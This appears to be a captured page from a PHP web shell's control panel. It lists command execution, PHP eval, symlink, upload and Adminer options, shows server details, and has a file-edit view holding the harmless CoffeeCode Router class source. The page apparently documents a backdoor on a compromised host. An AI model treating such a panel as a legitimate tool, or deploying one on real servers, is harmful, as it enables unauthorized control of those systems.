Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
8.1.8
Disk Space
203.84 GB
Server Addr
171.9.3.2
Your IP
171.9.3.1
Edit File
File:
<?php namespace CoffeeCode\Router; /** * Class CoffeeCode Router * * @author Robson V. Leite <https://github.com/robsonvleite> * @package CoffeeCode\Router */ class Router extends Dispatch { /** * Router constructor. * * @param string $projectUrl * @param null|string $separator */ public function __construct(string $projectUrl, ?string $separator = ":") { parent::__construct($projectUrl, $separator); } /** * @param string $route * @param callable|string $handler * @param string|null $name * @param array|string|null $middleware */ public function get( string $route, callable|string $handler, string $name = null, array|string $middleware = null ): void { $this->addRoute("GET", $route, $handler, $name, $middleware); } /** * @param string $route * @param callable|string $handler * @param string|null $name * @param array|string|null $middleware */ public function post( string $route, callable|string $handler, string $name = null, array|string $middleware = null ): void { $this->addRoute("POST", $route, $handler, $name, $middleware); } /** * @param string $route * @param callable|string $handler * @param string|null $name * @param array|string|null $middleware */ public function put( string $route, callable|string $handler, string $name = null, array|string $middleware = null ): void { $this->addRoute("PUT", $route, $handler, $name, $middleware); } /** * @param string $route * @param callable|string $handler * @param string|null $name * @param array|string|null $middleware */ public function patch( string $route, callable|string $handler, string $name = null, array|string $middleware = null ): void { $this->addRoute("PATCH", $route, $handler, $name, $middleware); } /** * @param string $route * @param callable|string $handler * @param string|null $name * @param array|string|null $middleware */ public function delete( string $route, callable|string $handler, string $name = null, array|string $middleware = null ): void { $this->addRoute("DELETE", $route, $handler, $name, $middleware); } }